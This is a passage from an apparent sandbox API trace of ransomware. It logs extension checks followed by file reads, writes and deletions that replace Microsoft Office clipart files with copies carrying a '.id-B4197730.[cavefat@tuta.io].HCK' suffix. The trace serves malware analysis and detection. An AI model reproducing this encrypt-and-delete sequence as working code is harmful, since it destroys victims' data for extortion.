(lpString=".docx") returned 5 [0235.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.247] lstrlenW (lpString=".pdf") returned 4 [0235.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString=".xls") returned 4 [0235.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.247] lstrlenW (lpString=".xlsx") returned 5 [0235.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.247] lstrlenW (lpString=".ppt") returned 4 [0235.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".zip") returned 4 [0235.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.247] lstrlenW (lpString=".rar") returned 4 [0235.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString=".bz2") returned 4 [0235.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString=".7z") returned 3 [0235.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".dbf") returned 4 [0235.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".1cd") returned 4 [0235.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".jpg") returned 4 [0235.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.247] lstrlenW (lpString=".doc") returned 4 [0235.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString=".docx") returned 5 [0235.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0235.247] lstrlenW (lpString=".pdf") returned 4 [0235.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString=".xls") returned 4 [0235.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.247] lstrlenW (lpString=".xlsx") returned 5 [0235.247] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0235.247] lstrlenW (lpString=".ppt") returned 4 [0235.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.248] lstrlenW (lpString=".zip") returned 4 [0235.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.248] lstrlenW (lpString=".rar") returned 4 [0235.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.248] lstrlenW (lpString=".bz2") returned 4 [0235.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.248] lstrlenW (lpString=".7z") returned 3 [0235.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.248] lstrlenW (lpString=".dbf") returned 4 [0235.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.248] lstrlenW (lpString=".1cd") returned 4 [0235.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68 [0235.248] lstrlenW (lpString=".jpg") returned 4 [0235.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.248] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.248] lstrlenW (lpString="J0107528.WMF") returned 12 [0235.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.249] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=6792) returned 1 [0235.249] CloseHandle (hObject=0x4cc) returned 1 [0235.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0235.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.250] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.250] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.251] GetLastError () returned 0x0 [0235.251] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1a88, lpOverlapped=0x0) returned 1 [0235.253] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1a90, lpOverlapped=0x0) returned 1 [0235.254] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.254] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.254] SetEndOfFile (hFile=0x4c0) returned 1 [0235.254] CloseHandle (hObject=0x4c0) returned 1 [0235.254] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.254] SetEndOfFile (hFile=0x4cc) returned 1 [0235.256] CloseHandle (hObject=0x4cc) returned 1 [0235.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0235.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.258] lstrlenW (lpString=".doc") returned 4 [0235.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.258] lstrlenW (lpString=".docx") returned 5 [0235.258] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.258] lstrlenW (lpString=".pdf") returned 4 [0235.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.258] lstrlenW (lpString=".xls") returned 4 [0235.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.258] lstrlenW (lpString=".xlsx") returned 5 [0235.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.258] lstrlenW (lpString=".ppt") returned 4 [0235.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString=".zip") returned 4 [0235.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.259] lstrlenW (lpString=".rar") returned 4 [0235.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString=".bz2") returned 4 [0235.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString=".7z") returned 3 [0235.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString=".dbf") returned 4 [0235.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString=".1cd") returned 4 [0235.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString=".jpg") returned 4 [0235.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.259] lstrlenW (lpString=".doc") returned 4 [0235.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString=".docx") returned 5 [0235.259] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.259] lstrlenW (lpString=".pdf") returned 4 [0235.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.259] lstrlenW (lpString=".xls") returned 4 [0235.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.259] lstrlenW (lpString=".xlsx") returned 5 [0235.260] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.260] lstrlenW (lpString=".ppt") returned 4 [0235.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.260] lstrlenW (lpString=".zip") returned 4 [0235.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.260] lstrlenW (lpString=".rar") returned 4 [0235.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.260] lstrlenW (lpString=".bz2") returned 4 [0235.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.260] lstrlenW (lpString=".7z") returned 3 [0235.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.260] lstrlenW (lpString=".dbf") returned 4 [0235.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.260] lstrlenW (lpString=".1cd") returned 4 [0235.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68 [0235.260] lstrlenW (lpString=".jpg") returned 4 [0235.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.260] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.260] lstrlenW (lpString="J0107544.WMF") returned 12 [0235.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.262] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=26768) returned 1 [0235.262] CloseHandle (hObject=0x4cc) returned 1 [0235.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0235.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0235.263] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.263] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.264] GetLastError () returned 0x0 [0235.264] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x6890, lpOverlapped=0x0) returned 1 [0235.266] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x68a0, lpOverlapped=0x0) returned 1 [0235.267] ReadFile (in: hFile=0x4cc, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.267] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.267] SetEndOfFile (hFile=0x4c0) returned 1 [0235.267] CloseHandle (hObject=0x4c0) returned 1 [0235.267] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.267] SetEndOfFile (hFile=0x4cc) returned 1 [0235.271] CloseHandle (hObject=0x4cc) returned 1 [0235.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString=".doc") returned 4 [0235.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString=".docx") returned 5 [0235.273] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.273] lstrlenW (lpString=".pdf") returned 4 [0235.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString=".xls") returned 4 [0235.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.273] lstrlenW (lpString=".xlsx") returned 5 [0235.273] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.273] lstrlenW (lpString=".ppt") returned 4 [0235.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString=".zip") returned 4 [0235.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.273] lstrlenW (lpString=".rar") returned 4 [0235.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString=".bz2") returned 4 [0235.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString=".7z") returned 3 [0235.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString=".dbf") returned 4 [0235.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString=".1cd") returned 4 [0235.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString=".jpg") returned 4 [0235.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.274] lstrlenW (lpString=".doc") returned 4 [0235.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString=".docx") returned 5 [0235.274] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0235.274] lstrlenW (lpString=".pdf") returned 4 [0235.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString=".xls") returned 4 [0235.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.274] lstrlenW (lpString=".xlsx") returned 5 [0235.274] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0235.274] lstrlenW (lpString=".ppt") returned 4 [0235.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.274] lstrlenW (lpString=".zip") returned 4 [0235.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.274] lstrlenW (lpString=".rar") returned 4 [0235.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString=".bz2") returned 4 [0235.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString=".7z") returned 3 [0235.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.274] lstrlenW (lpString=".dbf") returned 4 [0235.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.274] lstrlenW (lpString=".1cd") returned 4 [0235.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF") returned 68 [0235.274] lstrlenW (lpString=".jpg") returned 4 [0235.274] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.274] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0235.274] lstrlenW (lpString="J0107658.WMF") returned 12 [0235.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0235.475] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7072) returned 1 [0235.475] CloseHandle (hObject=0x4c8) returned 1 [0235.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0235.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0235.843] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.843] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0235.844] GetLastError () returned 0x0 [0235.844] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0235.845] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0235.846] ReadFile (in: hFile=0x3b8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0235.846] WriteFile (in: hFile=0x3c4, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0235.846] SetEndOfFile (hFile=0x3c4) returned 1 [0235.847] CloseHandle (hObject=0x3c4) returned 1 [0235.847] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0235.847] SetEndOfFile (hFile=0x3b8) returned 1 [0235.849] CloseHandle (hObject=0x3b8) returned 1 [0235.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0235.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0235.851] lstrlenW (lpString=".doc") returned 4 [0235.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".docx") returned 5 [0235.851] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0235.851] lstrlenW (lpString=".pdf") returned 4 [0235.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.851] lstrlenW (lpString=".xls") returned 4 [0235.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.851] lstrlenW (lpString=".xlsx") returned 5 [0235.851] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0235.851] lstrlenW (lpString=".ppt") returned 4 